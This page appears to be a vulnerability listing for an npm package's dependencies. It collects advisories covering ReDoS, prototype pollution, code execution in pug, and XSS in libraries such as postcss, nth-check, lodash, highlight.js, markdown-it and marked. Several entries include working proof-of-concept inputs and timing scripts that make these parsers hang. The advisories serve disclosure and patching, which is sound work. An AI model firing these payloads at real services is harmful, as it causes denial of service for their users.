All the vulnerabilities related to the version 0.8.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Pug allows JavaScript code execution if an application accepts untrusted input
Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient, compileFileClient, or compileClientWithDependenciesTracked function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.
Remote code execution via the pretty option.
If a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.
Upgrade to pug@3.0.1 or pug-code-gen@3.0.2 or pug-code-gen@2.0.3, which correctly sanitise the parameter.
If there is no way for un-trusted input to be passed to pug as the pretty option, e.g. if you compile templates in advance before applying user input to them, you do not need to upgrade.
Original report: https://github.com/pugjs/pug/issues/3312
If you believe you have found other vulnerabilities, please DO NOT open an issue. Instead, you can follow the instructions in our Security Policy
Pug allows JavaScript code execution if an application accepts untrusted input
Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient, compileFileClient, or compileClientWithDependenciesTracked function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.
Prototype Pollution in extend
Versions of extend prior to 3.0.2 (for 3.x) and 2.0.2 (for 2.x) are vulnerable to Prototype Pollution. The extend() function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.
If you're using extend 3.x upgrade to 3.0.2 or later.
If you're using extend 2.x upgrade to 2.0.2 or later.
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
ReDOS vulnerabities: multiple grammars
The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.
If are you are using Highlight.js to highlight user-provided data you are possibly vulnerable. On the client-side (in a browser or Electron environment) risks could include lengthy freezes or crashes... On the server-side infinite freezes could occur... effectively preventing users from accessing your app or service (ie, Denial of Service).
This is an issue with grammars shipped with the parser (and potentially 3rd party grammars also), not the parser itself. If you are using Highlight.js with any of the following grammars you are vulnerable. If you are using highlightAuto to detect the language (and have any of these grammars registered) you are vulnerable. Exponential grammars (C, Perl, JavaScript) are auto-registered when using the common grammar subset/library require('highlight.js/lib/common') as of 10.4.0 - see https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@10.4.0/build/highlight.js
All versions prior to 10.4.1 are vulnerable, including version 9.18.5.
Grammars with exponential backtracking issues:
And of course any aliases of those languages have the same issue. ie: hpp is no safer than cpp.
Grammars with polynomial backtracking issues:
And again: any aliases of those languages have the same issue. ie: ruby and rb share the same ruby issues.
If you have any questions or comments about this advisory:
Uncontrolled Resource Consumption in markdown-it
Special patterns with length > 50K chars can slow down parser significantly.
const md = require('markdown-it')();
md.render(`x ${' '.repeat(150000)} x \nx`);
Upgrade to v12.3.2+
No.
Fix + test sample: https://github.com/markdown-it/markdown-it/commit/ffc49ab46b5b751cd2be0aabb146f2ef84986101
markdown-it-decorate vulnerable to cross-site scripting (XSS)
markdown-it-decorate adds attributes, IDs and classes to Markdown, and the most recent version 1.2.2 was published in 2017. All versions are currently vulnerable to cross-site scripting (XSS) and there is no fixed version at this time
Inefficient Regular Expression Complexity in marked
What kind of vulnerability is it?
Denial of service.
The regular expression inline.reflinkSearch may cause catastrophic backtracking against some strings.
PoC is the following.
import * as marked from 'marked';
console.log(marked.parse(`[x]: x
\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));
Who is impacted?
Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.
Has the problem been patched?
Yes
What versions should users upgrade to?
4.0.10
Is there a way for users to fix or remediate the vulnerability without upgrading?
Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory:
Inefficient Regular Expression Complexity in marked
What kind of vulnerability is it?
Denial of service.
The regular expression block.def may cause catastrophic backtracking against some strings.
PoC is the following.
import * as marked from "marked";
marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);
Who is impacted?
Anyone who runs untrusted markdown through marked and does not use a worker with a time limit.
Has the problem been patched?
Yes
What versions should users upgrade to?
4.0.10
Is there a way for users to fix or remediate the vulnerability without upgrading?
Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: